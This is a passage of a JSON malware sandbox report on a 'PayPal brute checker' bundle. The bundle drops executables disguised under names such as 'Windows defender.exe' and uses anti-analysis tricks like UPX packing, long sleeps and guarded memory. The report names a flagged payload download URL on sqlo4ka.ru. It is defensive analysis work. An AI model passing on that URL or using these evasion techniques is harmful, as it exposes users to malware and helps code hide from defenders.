\"Microsoft visual C# v7.0 / Basic .NET\""},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\""},{"type":"linebreak"},{"type":"text","value":"\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\""},{"type":"linebreak"},{"type":"text","value":"\"Windows defender.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\""},{"type":"linebreak"},{"type":"text","value":"\"SQLite.Interop.dll\" was detected as \"Borland Delphi 3.0 (???)\""}],"origin":"Static Parser","attck_id":"T1002","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1002","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Anti-Detection/Stealthyness","identifier":"api-10","type":6,"relevance":6,"name":"Queries kernel debugger information","description":"\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" at 00101297-00001072-00000033-86649495962\n \"fontreview.exe\" at 00101353-00003544-00000033-112194774822","description_v2":["\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" at 00101297-00001072-00000033-86649495962","\"fontreview.exe\" at 00101353-00003544-00000033-112194774822"],"description_v3":[{"type":"text","value":"\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" at 00101297-00001072-00000033-86649495962"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" at 00101353-00003544-00000033-112194774822"}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Anti-Detection/Stealthyness","identifier":"api-9","type":6,"relevance":4,"name":"Queries process information","description":"$3b","description_v2":["\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-143677007804","\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-151536201158","\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-157219534066","\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-162911349947","\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-168577711306","\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-174277924778","\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-179963160879","\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-185628163103","\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-191340202147","\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-197063451586","\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-202776804071","\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-208457286256","\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-214246625912","\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-220059188851","\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-225837327769","\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-231571858927","\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-237278119298","\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-242964618571","\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-248695459364","\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-254386343166"],"description_v3":[{"type":"text","value":"\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-143677007804"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-151536201158"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-157219534066"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-162911349947"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-168577711306"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-174277924778"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-179963160879"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-185628163103"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-191340202147"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-197063451586"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-202776804071"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-208457286256"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-214246625912"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-220059188851"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-225837327769"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-231571858927"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-237278119298"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-242964618571"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-248695459364"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" queried SystemProcessInformation at 00101353-00003544-00000033-254386343166"}],"origin":"API Call","attck_id":"T1057","capec_id":"CAPEC-573","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1057","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Anti-Reverse Engineering","identifier":"stream-26","type":1,"relevance":7,"name":"Contains ability to block user input","description":"BlockInput@USER32.DLL at 00099410-00003540-41033-3101-3F8A7719","description_v2":["BlockInput@USER32.DLL at 00099410-00003540-41033-3101-3F8A7719"],"description_v3":[{"type":"text","value":"BlockInput@USER32.DLL"},{"type":"pid","pid":"00003540"}],"origin":"Hybrid Analysis Technology","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Anti-Reverse Engineering","identifier":"api-1","type":6,"relevance":10,"name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"loader.bat\" is allocating memory with PAGE_GUARD access rights\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights\n \"Windows defender.exe\" is allocating memory with PAGE_GUARD access rights","description_v2":["\"loader.bat\" is allocating memory with PAGE_GUARD access rights","\"powershell.exe\" is allocating memory with PAGE_GUARD access rights","\"Windows defender.exe\" is allocating memory with PAGE_GUARD access rights"],"description_v3":[{"type":"text","value":"\"loader.bat\" is allocating memory with PAGE_GUARD access rights"},{"type":"linebreak"},{"type":"text","value":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights"},{"type":"linebreak"},{"type":"text","value":"\"Windows defender.exe\" is allocating memory with PAGE_GUARD access rights"}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Anti-Reverse Engineering","identifier":"stream-40","type":1,"relevance":10,"name":"Looks up many procedures within the same disassembly stream (often used to hide usage)","description":"Found 33 calls to GetProcAddress@KERNEL32.DLL at 00099410-00003540-41033-643-3F8473F8","description_v2":["Found 33 calls to GetProcAddress@KERNEL32.DLL at 00099410-00003540-41033-643-3F8473F8"],"description_v3":[{"type":"text","value":"Found 33 calls to GetProcAddress@KERNEL32.DLL"},{"type":"pid","pid":"00003540"}],"origin":"Hybrid Analysis Technology","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Anti-Reverse Engineering","identifier":"static-6","type":0,"relevance":10,"name":"PE file has unusual entropy sections","description":"UPX1\n .rsrc with unusual entropies 7.92524716596\n 7.90948787348","description_v2":["UPX1",".rsrc with unusual entropies 7.92524716596","7.90948787348"],"description_v3":[{"type":"text","value":"UPX1"},{"type":"linebreak"},{"type":"text","value":".rsrc with unusual entropies 7.92524716596"},{"type":"linebreak"},{"type":"text","value":"7.90948787348"}],"origin":"Static Parser","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Anti-Reverse Engineering","identifier":"static-7","type":0,"relevance":10,"name":"PE file is packed with UPX","description":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" has a section named \"UPX0\"\n \"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" has a section named \"UPX1\"","description_v2":["\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" has a section named \"UPX0\"","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" has a section named \"UPX1\""],"description_v3":[{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" has a section named \"UPX0\""},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" has a section named \"UPX1\""}],"origin":"Static Parser","attck_id":"T1045","capec_id":"CAPEC-570","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1045","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Environment Awareness","identifier":"stream-6","type":1,"relevance":10,"name":"Contains ability to measure performance","description":"rdtsc at 00099374-00003980-32419-28-0019D5F6\n rdtsc at 00100415-00002736-26168-405-00B0D5F6","description_v2":["rdtsc at 00099374-00003980-32419-28-0019D5F6","rdtsc at 00100415-00002736-26168-405-00B0D5F6"],"description_v3":[{"type":"text","value":"rdtsc"},{"type":"pid","pid":"00003980"},{"type":"linebreak"},{"type":"text","value":"rdtsc"},{"type":"pid","pid":"00002736"}],"origin":"Hybrid Analysis Technology","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Environment Awareness","identifier":"stream-13","type":1,"relevance":10,"name":"Contains ability to query CPU information","description":"cpuid at 00099374-00003980-32419-592-0018D2D1\n cpuid at 00100415-00002736-26168-716-00AFD2D1","description_v2":["cpuid at 00099374-00003980-32419-592-0018D2D1","cpuid at 00100415-00002736-26168-716-00AFD2D1"],"description_v3":[{"type":"text","value":"cpuid"},{"type":"pid","pid":"00003980"},{"type":"linebreak"},{"type":"text","value":"cpuid"},{"type":"pid","pid":"00002736"}],"origin":"Hybrid Analysis Technology","attck_id":"T1082","capec_id":"CAPEC-311","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1082","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Environment Awareness","identifier":"stream-62","type":1,"relevance":5,"name":"Contains ability to read monitor info","description":"GetMonitorInfoW@USER32.DLL at 00099410-00003540-41033-3453-3F8BC3E7","description_v2":["GetMonitorInfoW@USER32.DLL at 00099410-00003540-41033-3453-3F8BC3E7"],"description_v3":[{"type":"text","value":"GetMonitorInfoW@USER32.DLL"},{"type":"pid","pid":"00003540"}],"origin":"Hybrid Analysis Technology","attck_id":"T1082","capec_id":"CAPEC-311","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1082","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Environment Awareness","identifier":"api-47","type":6,"relevance":10,"name":"Possibly tries to evade analysis by sleeping many times","description":"\"fontreview.exe\" (Thread ID: 1780) slept \"520\" times (threshold: 500)","description_v2":["\"fontreview.exe\" (Thread ID: 1780) slept \"520\" times (threshold: 500)"],"description_v3":[{"type":"text","value":"\"fontreview.exe\" (Thread ID: 1780) slept \"520\" times (threshold: 500)"}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Environment Awareness","identifier":"registry-35","type":3,"relevance":5,"name":"Reads the active computer name","description":"$3c","description_v2":["\"PayPalBrute_Checker.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","\"PayPal.scr\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","\"PayPal.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","\"loader.bat\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","\"Windows defender.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","\"WatchBull.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","\"fontreview.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"],"description_v3":[{"type":"text","value":"\"PayPalBrute_Checker.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPal.scr\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPal.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"},{"type":"linebreak"},{"type":"text","value":"\"Windows defender.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"},{"type":"linebreak"},{"type":"text","value":"\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"},{"type":"linebreak"},{"type":"text","value":"\"WatchBull.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"}],"origin":"Registry Access","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1012","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Environment Awareness","identifier":"registry-1","type":3,"relevance":10,"name":"Reads the cryptographic machine GUID","description":"\"fontreview.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","description_v2":["\"fontreview.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")"],"description_v3":[{"type":"text","value":"\"fontreview.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")"}],"origin":"Registry Access","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1012","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Environment Awareness","identifier":"api-24","type":6,"relevance":10,"name":"Tries to sleep for a long time (more than two minutes)","description":"\"loader.bat\" sleeping for \"1566804069\" milliseconds\n \"Windows defender.exe\" sleeping for \"1566804069\" milliseconds\n \"e6ee5674bb9446c78bbc5729af6e2c28.exe\" sleeping for \"1566804069\" milliseconds","description_v2":["\"loader.bat\" sleeping for \"1566804069\" milliseconds","\"Windows defender.exe\" sleeping for \"1566804069\" milliseconds","\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" sleeping for \"1566804069\" milliseconds"],"description_v3":[{"type":"text","value":"\"loader.bat\" sleeping for \"1566804069\" milliseconds"},{"type":"linebreak"},{"type":"text","value":"\"Windows defender.exe\" sleeping for \"1566804069\" milliseconds"},{"type":"linebreak"},{"type":"text","value":"\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" sleeping for \"1566804069\" milliseconds"}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"External Systems","identifier":"avtest-6","type":12,"relevance":10,"name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"9/67 reputation engines marked \"http://sqlo4ka.ru/dcrs/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe\" as malicious (13% detection rate)\n 1/67 reputation engines marked \"http://ipinfo.io\" as malicious (1% detection rate)\n 8/68 reputation engines marked \"http://sqlo4ka.ru\" as malicious (11% detection rate)","description_v2":["9/67 reputation engines marked \"http://sqlo4ka.ru/dcrs/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe\" as malicious (13% detection rate)","1/67 reputation engines marked \"http://ipinfo.io\" as malicious (1% detection rate)","8/68 reputation engines marked \"http://sqlo4ka.ru\" as malicious (11% detection rate)"],"description_v3":[{"type":"text","value":"9/67 reputation engines marked \"http://sqlo4ka.ru/dcrs/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe\" as malicious (13% detection rate)"},{"type":"linebreak"},{"type":"text","value":"1/67 reputation engines marked \"http://ipinfo.io\" as malicious (1% detection rate)"},{"type":"linebreak"},{"type":"text","value":"8/68 reputation engines marked \"http://sqlo4ka.ru\" as malicious (11% detection rate)"}],"origin":"External System","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"General","identifier":"stream-32","type":1,"relevance":1,"name":"Contains ability to find and load resources of a specific module","description":"FindResourceW@KERNEL32.DLL at 00099374-00003980-32419-88-0018CC44\n LoadResource@KERNEL32.DLL at 00099374-00003980-32419-351-0019897A\n LoadResource@KERNEL32.DLL at 00099410-00003540-41033-571-3F83B390\n LoadResource@KERNEL32.DLL at 00099410-00003540-41033-2734-3F893CC8\n FindResourceW@KERNEL32.DLL at 00100415-00002736-26168-811-00AFCC44\n LoadResource@KERNEL32.DLL at 00100415-00002736-26168-1038-00B0897A","description_v2":["FindResourceW@KERNEL32.DLL at 00099374-00003980-32419-88-0018CC44","LoadResource@KERNEL32.DLL at 00099374-00003980-32419-351-0019897A","LoadResource@KERNEL32.DLL at 00099410-00003540-41033-571-3F83B390","LoadResource@KERNEL32.DLL at 00099410-00003540-41033-2734-3F893CC8","FindResourceW@KERNEL32.DLL at 00100415-00002736-26168-811-00AFCC44","LoadResource@KERNEL32.DLL at 00100415-00002736-26168-1038-00B0897A"],"description_v3":[{"type":"text","value":"FindResourceW@KERNEL32.DLL"},{"type":"pid","pid":"00003980"},{"type":"linebreak"},{"type":"text","value":"LoadResource@KERNEL32.DLL"},{"type":"pid","pid":"00003980"},{"type":"linebreak"},{"type":"text","value":"LoadResource@KERNEL32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"LoadResource@KERNEL32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"FindResourceW@KERNEL32.DLL"},{"type":"pid","pid":"00002736"},{"type":"linebreak"},{"type":"text","value":"LoadResource@KERNEL32.DLL"},{"type":"pid","pid":"00002736"}],"origin":"Hybrid Analysis Technology","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"General","identifier":"api-6","type":6,"relevance":4,"name":"Reads configuration files","description":"\"PayPalBrute_Checker.exe\" read file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"PayPal.scr\" read file \"%WINDIR%\\win.ini\"\n \"PayPal.scr\" read file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"PayPal.exe\" read file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"loader.bat\" read file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"loader.bat\" read file \"C:\\Users\\desktop.ini\"\n \"loader.bat\" read file \"%PUBLIC%\\desktop.ini\"\n \"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" read file \"%WINDIR%\\win.ini\"\n \"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" read file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"","description_v2":["\"PayPalBrute_Checker.exe\" read file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"","\"PayPal.scr\" read file \"%WINDIR%\\win.ini\"","\"PayPal.scr\" read file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"","\"PayPal.exe\" read file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"","\"loader.bat\" read file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"","\"loader.bat\" read file \"C:\\Users\\desktop.ini\"","\"loader.bat\" read file \"%PUBLIC%\\desktop.ini\"","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" read file \"%WINDIR%\\win.ini\"","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" read file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\""],"description_v3":[{"type":"text","value":"\"PayPalBrute_Checker.exe\" read file \"%USERPROFILE%\\Desktop\\desktop.ini\""},{"type":"linebreak"},{"type":"text","value":"\"PayPal.scr\" read file \"%WINDIR%\\win.ini\""},{"type":"linebreak"},{"type":"text","value":"\"PayPal.scr\" read file \"C:\\Users\\%USERNAME%\\Desktop\\desktop.ini\""},{"type":"linebreak"},{"type":"text","value":"\"PayPal.exe\" read file \"C:\\Users\\%USERNAME%\\Desktop\\desktop.ini\""},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" read file \"C:\\Users\\%USERNAME%\\Desktop\\desktop.ini\""},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" read file \"C:\\Users\\desktop.ini\""},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" read file \"%PUBLIC%\\desktop.ini\""},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" read file \"%WINDIR%\\win.ini\""},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" read file \"C:\\Users\\%USERNAME%\\Desktop\\desktop.ini\""}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Installation/Persistance","identifier":"binary-1","type":8,"relevance":10,"name":"Drops executable files","description":"$3d","description_v2":["\"regedit.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"","\"PayPal.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"","\"RuntimeBroker.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"","\"System.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows UPX compressed\"","\"WebHelper.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"","\"fontreview.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"","\"dasHost.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"","\"PayPal brute_checker.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"","\"WatchBull.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"","\"loader.bat\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"","\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"","\"Windows defender.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"","\"SQLite.Interop.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"","\"urlref_httpsqlo4ka.ruDCRSdsock90cc6e447d345bb1f103751ab038bbce19190db6.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows UPX compressed\""],"description_v3":[{"type":"text","value":"\"regedit.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\""},{"type":"linebreak"},{"type":"text","value":"\"PayPal.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\""},{"type":"linebreak"},{"type":"text","value":"\"RuntimeBroker.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\""},{"type":"linebreak"},{"type":"text","value":"\"System.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\""},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows UPX compressed\""},{"type":"linebreak"},{"type":"text","value":"\"WebHelper.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\""},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\""},{"type":"linebreak"},{"type":"text","value":"\"dasHost.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\""},{"type":"linebreak"},{"type":"text","value":"\"PayPal brute_checker.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\""},{"type":"linebreak"},{"type":"text","value":"\"WatchBull.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\""},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\""},{"type":"linebreak"},{"type":"text","value":"\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\""},{"type":"linebreak"},{"type":"text","value":"\"Windows defender.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\""},{"type":"linebreak"},{"type":"text","value":"\"SQLite.Interop.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\""},{"type":"linebreak"},{"type":"text","value":"\"urlref_httpsqlo4ka.ruDCRSdsock90cc6e447d345bb1f103751ab038bbce19190db6.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows UPX compressed\""}],"origin":"Binary File","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Network Related","identifier":"string-14","type":2,"relevance":3,"name":"Found potential IP address in binary/memory","description":"\"5.255.255.255\"\n Heuristic match: \"System.Core,3.5.0.0,,b77a5c561934e089,MSIL\"\n \"127.0.0.1\"\n \"0.0.1.0\"\n \"15.9.0.0\"\n Heuristic match: \"{SQLite.Designer.SQLiteCommandDesigner, SQLite.Designer, Version=1.0.110.0, Culture=neutral, PublicKeyToken=db937bc2d44ff139\"\n Heuristic match: \"SQLite.Designer.SQLiteDataAdapterToolboxItem, SQLite.Designer, Version=1.0.110.0, Culture=neutral, PublicKeyToken=db937bc2d44ff139\"","description_v2":["\"5.255.255.255\"","Heuristic match: \"System.Core,3.5.0.0,,b77a5c561934e089,MSIL\"","\"127.0.0.1\"","\"0.0.1.0\"","\"15.9.0.0\"","Heuristic match: \"{SQLite.Designer.SQLiteCommandDesigner, SQLite.Designer, Version=1.0.110.0, Culture=neutral, PublicKeyToken=db937bc2d44ff139\"","Heuristic match: \"SQLite.Designer.SQLiteDataAdapterToolboxItem, SQLite.Designer, Version=1.0.110.0, Culture=neutral, PublicKeyToken=db937bc2d44ff139\""],"description_v3":[{"type":"text","value":"\"5.255.255.255\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: 